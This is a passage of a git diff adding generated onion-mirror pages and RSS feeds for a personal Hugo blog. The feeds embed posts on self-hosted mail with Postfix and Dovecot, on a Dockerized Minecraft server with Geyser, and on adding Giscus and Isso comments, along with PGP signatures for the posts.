    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/opendkim/page/1/index.html b/public-onion/tags/opendkim/page/1/index.html new file mode 100644 index 0000000..8e64ffa --- /dev/null +++ b/public-onion/tags/opendkim/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/opendkim/ + + + + + + diff --git a/public-onion/tags/paper/index.html b/public-onion/tags/paper/index.html new file mode 100644 index 0000000..e0b22fa --- /dev/null +++ b/public-onion/tags/paper/index.html @@ -0,0 +1,352 @@ + + + + + + + +Paper | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/paper/index.xml b/public-onion/tags/paper/index.xml new file mode 100644 index 0000000..f7b03bf --- /dev/null +++ b/public-onion/tags/paper/index.xml @@ -0,0 +1,185 @@ + + + + Paper on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/ + Recent content in Paper on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 29 Sep 2025 09:06:29 +0000 + + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/paper/page/1/index.html b/public-onion/tags/paper/page/1/index.html new file mode 100644 index 0000000..aa01a1c --- /dev/null +++ b/public-onion/tags/paper/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/ + + + + + + diff --git a/public-onion/tags/papermod/index.html b/public-onion/tags/papermod/index.html new file mode 100644 index 0000000..fa84498 --- /dev/null +++ b/public-onion/tags/papermod/index.html @@ -0,0 +1,423 @@ + + + + + + + +PaperMod | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/papermod/index.xml b/public-onion/tags/papermod/index.xml new file mode 100644 index 0000000..1b7d47c --- /dev/null +++ b/public-onion/tags/papermod/index.xml @@ -0,0 +1,1393 @@ + + + + PaperMod on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/ + Recent content in PaperMod on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
